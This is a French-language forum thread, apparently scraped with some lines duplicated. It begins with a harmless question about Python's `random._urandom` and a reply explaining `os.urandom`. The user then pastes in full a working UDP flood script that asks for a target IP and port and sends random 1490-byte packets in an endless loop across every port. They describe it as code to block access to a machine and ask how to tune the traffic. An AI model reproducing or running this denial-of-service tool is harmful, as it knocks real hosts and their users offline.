Fonction urandom
Utilisateur anonyme
-
Utilisateur anonyme -
Utilisateur anonyme -
Bonjour,
Bonjour,
Je voudrais comprendre ce que fait cette ligne svp ?
bytes = random._urandom(1490)
Que ce qui se passe si je baisse le chiffre 1490 ?
bytes = random._urandom(590) par exemple.
Merci d'avance de votre aide
Bonjour,
Je voudrais comprendre ce que fait cette ligne svp ?
bytes = random._urandom(1490)
Que ce qui se passe si je baisse le chiffre 1490 ?
bytes = random._urandom(590) par exemple.
Merci d'avance de votre aide
1 réponse
-
Bonsoir,
Si tu baisses le chiffre, tu obtiens moins de valeurs XD
random._urandom est une référence sur la fonction os.urandom qui exploite le générateur aléatoire du système d'exploitation.
Et pour voir ce que os.urandom retourne, il suffit de l'afficher.>>> import os >>> bts = os.urandom(10) >>> print(', '.join(str(b) for b in bts))-
Merci de votre explication. Donc si j'ai bien compris, dans ce code qui permet de bloquer accès à une machine si je baisse le chiffre 1490 en mettant par exemple bytes = random._urandom(500), j'enverrai moins de requêtes à la machine.
En fait, mon but est d'envoyer moins de flux à la machine afin de générer moins de flux réseau sur wireshark
##############
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
#############
os.system("clear")
os.system("launching")
print
print
ip = raw_input("IP Target : ")
port = input("Port : ")
os.system("clear")
os.system("figlet launching Starts")
print "[ ] 0% "
time.sleep(5)
print "[===== ] 25%"
time.sleep(5)
print "[========== ] 50%"
time.sleep(5)
print "[=============== ] 75%"
time.sleep(5)
print "[====================] 100%"
time.sleep(3)
sent = 0
while True:
sock.sendto(bytes, (ip,port))
sent = sent + 1
port = port + 1
print "Sent %s packet to %s throught port:%s"%(sent,ip,port)
if port == 65534:
port = 1
-